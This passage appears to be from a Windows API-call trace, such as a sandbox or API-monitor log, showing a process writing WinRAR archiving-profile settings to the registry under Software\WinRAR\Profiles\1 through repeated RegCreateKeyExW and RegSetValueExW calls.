out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.048] RegSetValueExW (in: hKey=0x1f0, lpValueName="ImmExec", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.048] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.048] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a5a6840 [0058.049] GetLastError () returned 0x0 [0058.049] SetLastError (dwErrCode=0x0) [0058.049] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.049] RegSetValueExW (in: hKey=0x1f0, lpValueName="ExclNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.049] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.049] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6840 | out: hHeap=0x1ec0a590000) returned 1 [0058.049] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x2) returned 0x1ec0a5a6770 [0058.049] GetLastError () returned 0x0 [0058.049] SetLastError (dwErrCode=0x0) [0058.049] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.049] RegSetValueExW (in: hKey=0x1f0, lpValueName="StoreNames", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.049] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.049] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a5a6770 | out: hHeap=0x1ec0a590000) returned 1 [0058.049] GetLastError () returned 0x0 [0058.049] SetLastError (dwErrCode=0x0) [0058.049] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.049] RegSetValueExW (in: hKey=0x1f0, lpValueName="UseRAR", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.049] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.049] GetLastError () returned 0x0 [0058.049] SetLastError (dwErrCode=0x0) [0058.049] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.049] RegSetValueExW (in: hKey=0x1f0, lpValueName="RAR5", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.049] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.049] GetLastError () returned 0x0 [0058.049] SetLastError (dwErrCode=0x0) [0058.050] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x1f0, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.050] RegSetValueExW (in: hKey=0x1f0, lpValueName="SFXModule", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.050] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.050] GetLastError () returned 0x0 [0058.050] SetLastError (dwErrCode=0x0) [0058.050] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x1f0) returned 0x0 [0058.050] RegDeleteValueW (hKey=0x1f0, lpValueName="SFX") returned 0x2 [0058.050] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.050] GetLastError () returned 0x0 [0058.206] SetLastError (dwErrCode=0x0) [0058.206] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.206] RegSetValueExW (in: hKey=0x218, lpValueName="SFXIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.206] RegCloseKey (hKey=0x218) returned 0x0 [0058.206] GetLastError () returned 0x0 [0058.206] SetLastError (dwErrCode=0x0) [0058.206] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.207] RegSetValueExW (in: hKey=0x218, lpValueName="SFXLogo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.207] RegCloseKey (hKey=0x218) returned 0x0 [0058.207] GetLastError () returned 0x0 [0058.207] SetLastError (dwErrCode=0x0) [0058.207] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.207] RegSetValueExW (in: hKey=0x218, lpValueName="SFXElevate", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.207] RegCloseKey (hKey=0x218) returned 0x0 [0058.207] GetLastError () returned 0x0 [0058.207] SetLastError (dwErrCode=0x0) [0058.207] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.207] RegSetValueExW (in: hKey=0x218, lpValueName="CmtFile", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.207] RegCloseKey (hKey=0x218) returned 0x0 [0058.207] GetLastError () returned 0x0 [0058.207] SetLastError (dwErrCode=0x0) [0058.207] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414fad88, lpdwDisposition=0xe414fad80 | out: phkResult=0xe414fad88*=0x218, lpdwDisposition=0xe414fad80*=0x2) returned 0x0 [0058.207] RegSetValueExW (in: hKey=0x218, lpValueName="CmtDataWide", Reserved=0x0, dwType=0x3, lpData=0x7ff6f75df128*, cbData=0x2 | out: lpData=0x7ff6f75df128*) returned 0x0 [0058.207] RegCloseKey (hKey=0x218) returned 0x0 [0058.207] GetLastError () returned 0x0 [0058.207] SetLastError (dwErrCode=0x0) [0058.207] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.207] RegSetValueExW (in: hKey=0x218, lpValueName="VolumeSize", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x4 | out: lpData="0") returned 0x0 [0058.207] RegCloseKey (hKey=0x218) returned 0x0 [0058.207] GetLastError () returned 0x0 [0058.208] SetLastError (dwErrCode=0x0) [0058.208] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.208] RegSetValueExW (in: hKey=0x218, lpValueName="VolSizeMod", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x2, cbData=0x4 | out: lpData=0xe414fb268*=0x2) returned 0x0 [0058.208] RegCloseKey (hKey=0x218) returned 0x0 [0058.208] GetLastError () returned 0x0 [0058.208] SetLastError (dwErrCode=0x0) [0058.208] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.208] RegSetValueExW (in: hKey=0x218, lpValueName="VolPause", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.208] RegCloseKey (hKey=0x218) returned 0x0 [0058.208] GetLastError () returned 0x0 [0058.208] SetLastError (dwErrCode=0x0) [0058.208] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.208] RegSetValueExW (in: hKey=0x218, lpValueName="OldVolNames", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.208] RegCloseKey (hKey=0x218) returned 0x0 [0058.208] GetLastError () returned 0x0 [0058.208] SetLastError (dwErrCode=0x0) [0058.208] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.208] RegSetValueExW (in: hKey=0x218, lpValueName="RecVolNumber", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.208] RegCloseKey (hKey=0x218) returned 0x0 [0058.208] GetLastError () returned 0x0 [0058.208] SetLastError (dwErrCode=0x0) [0058.208] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.208] RegSetValueExW (in: hKey=0x218, lpValueName="Update", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.209] RegCloseKey (hKey=0x218) returned 0x0 [0058.209] GetLastError () returned 0x0 [0058.209] SetLastError (dwErrCode=0x0) [0058.209] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.209] RegSetValueExW (in: hKey=0x218, lpValueName="Fresh", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.209] RegCloseKey (hKey=0x218) returned 0x0 [0058.209] GetLastError () returned 0x0 [0058.209] SetLastError (dwErrCode=0x0) [0058.209] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.209] RegSetValueExW (in: hKey=0x218, lpValueName="SyncFiles", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.209] RegCloseKey (hKey=0x218) returned 0x0 [0058.209] GetLastError () returned 0x0 [0058.209] SetLastError (dwErrCode=0x0) [0058.209] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.209] RegSetValueExW (in: hKey=0x218, lpValueName="Overwrite", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.209] RegCloseKey (hKey=0x218) returned 0x0 [0058.209] GetLastError () returned 0x0 [0058.209] SetLastError (dwErrCode=0x0) [0058.209] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.209] RegSetValueExW (in: hKey=0x218, lpValueName="Move", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.209] RegCloseKey (hKey=0x218) returned 0x0 [0058.209] GetLastError () returned 0x0 [0058.209] SetLastError (dwErrCode=0x0) [0058.209] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.210] RegSetValueExW (in: hKey=0x218, lpValueName="ArcRecBin", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.210] RegCloseKey (hKey=0x218) returned 0x0 [0058.210] GetLastError () returned 0x0 [0058.210] SetLastError (dwErrCode=0x0) [0058.210] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.210] RegSetValueExW (in: hKey=0x218, lpValueName="ArcWipe", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.210] RegCloseKey (hKey=0x218) returned 0x0 [0058.210] GetLastError () returned 0x0 [0058.210] SetLastError (dwErrCode=0x0) [0058.210] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.210] RegSetValueExW (in: hKey=0x218, lpValueName="WipeIfPassword", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.210] RegCloseKey (hKey=0x218) returned 0x0 [0058.210] GetLastError () returned 0x0 [0058.210] SetLastError (dwErrCode=0x0) [0058.210] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.210] RegSetValueExW (in: hKey=0x218, lpValueName="Solid", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.210] RegCloseKey (hKey=0x218) returned 0x0 [0058.210] GetLastError () returned 0x0 [0058.210] SetLastError (dwErrCode=0x0) [0058.210] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.210] RegSetValueExW (in: hKey=0x218, lpValueName="Test", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.210] RegCloseKey (hKey=0x218) returned 0x0 [0058.210] GetLastError () returned 0x0 [0058.211] SetLastError (dwErrCode=0x0) [0058.211] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.211] RegSetValueExW (in: hKey=0x218, lpValueName="RecEnabled", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.211] RegCloseKey (hKey=0x218) returned 0x0 [0058.211] GetLastError () returned 0x0 [0058.211] SetLastError (dwErrCode=0x0) [0058.211] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.211] RegSetValueExW (in: hKey=0x218, lpValueName="RecSize", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0xfffffffd, cbData=0x4 | out: lpData=0xe414fb268*=0xfffffffd) returned 0x0 [0058.211] RegCloseKey (hKey=0x218) returned 0x0 [0058.211] GetLastError () returned 0x0 [0058.211] SetLastError (dwErrCode=0x0) [0058.211] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.211] RegSetValueExW (in: hKey=0x218, lpValueName="EraseDest", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.211] RegCloseKey (hKey=0x218) returned 0x0 [0058.211] GetLastError () returned 0x0 [0058.211] SetLastError (dwErrCode=0x0) [0058.211] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.211] RegSetValueExW (in: hKey=0x218, lpValueName="AddArcOnly", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.211] RegCloseKey (hKey=0x218) returned 0x0 [0058.211] GetLastError () returned 0x0 [0058.212] SetLastError (dwErrCode=0x0) [0058.212] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.212] RegSetValueExW (in: hKey=0x218, lpValueName="ClearArc", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.212] RegCloseKey (hKey=0x218) returned 0x0 [0058.212] GetLastError () returned 0x0 [0058.212] SetLastError (dwErrCode=0x0) [0058.212] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.212] RegSetValueExW (in: hKey=0x218, lpValueName="Lock", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.212] RegCloseKey (hKey=0x218) returned 0x0 [0058.212] GetLastError () returned 0x0 [0058.212] SetLastError (dwErrCode=0x0) [0058.212] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.212] RegSetValueExW (in: hKey=0x218, lpValueName="Method", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x5, cbData=0x4 | out: lpData=0xe414fb268*=0x5) returned 0x0 [0058.212] RegCloseKey (hKey=0x218) returned 0x0 [0058.212] GetLastError () returned 0x0 [0058.212] SetLastError (dwErrCode=0x0) [0058.212] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.212] RegSetValueExW (in: hKey=0x218, lpValueName="DictSizeLZ", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x2000000, cbData=0x4 | out: lpData=0xe414fb268*=0x2000000) returned 0x0 [0058.212] RegCloseKey (hKey=0x218) returned 0x0 [0058.212] GetLastError () returned 0x0 [0058.212] SetLastError (dwErrCode=0x0) [0058.212] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.212] RegSetValueExW (in: hKey=0x218, lpValueName="DictSize", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.213] RegCloseKey (hKey=0x218) returned 0x0 [0058.213] GetLastError () returned 0x0 [0058.213] SetLastError (dwErrCode=0x0) [0058.213] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.213] RegSetValueExW (in: hKey=0x218, lpValueName="Background", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.213] RegCloseKey (hKey=0x218) returned 0x0 [0058.213] GetLastError () returned 0x0 [0058.213] SetLastError (dwErrCode=0x0) [0058.213] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.213] RegSetValueExW (in: hKey=0x218, lpValueName="WaitForOther", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.213] RegCloseKey (hKey=0x218) returned 0x0 [0058.213] GetLastError () returned 0x0 [0058.213] SetLastError (dwErrCode=0x0) [0058.213] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.213] RegSetValueExW (in: hKey=0x218, lpValueName="Shutdown", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.213] RegCloseKey (hKey=0x218) returned 0x0 [0058.213] GetLastError () returned 0x0 [0058.213] SetLastError (dwErrCode=0x0) [0058.213] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414f99c8, lpdwDisposition=0xe414f99c0 | out: phkResult=0xe414f99c8*=0x218, lpdwDisposition=0xe414f99c0*=0x2) returned 0x0 [0058.213] RegSetValueExW (in: hKey=0x218, lpValueName="PasswordData", Reserved=0x0, dwType=0x3, lpData=0x7ff6f75df128*, cbData=0x1 | out: lpData=0x7ff6f75df128*) returned 0x0 [0058.213] RegCloseKey (hKey=0x218) returned 0x0 [0058.213] GetLastError () returned 0x0 [0058.213] SetLastError (dwErrCode=0x0) [0058.214] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", Reserved=0x0, lpClass=0x0, dwOptions=0x0, 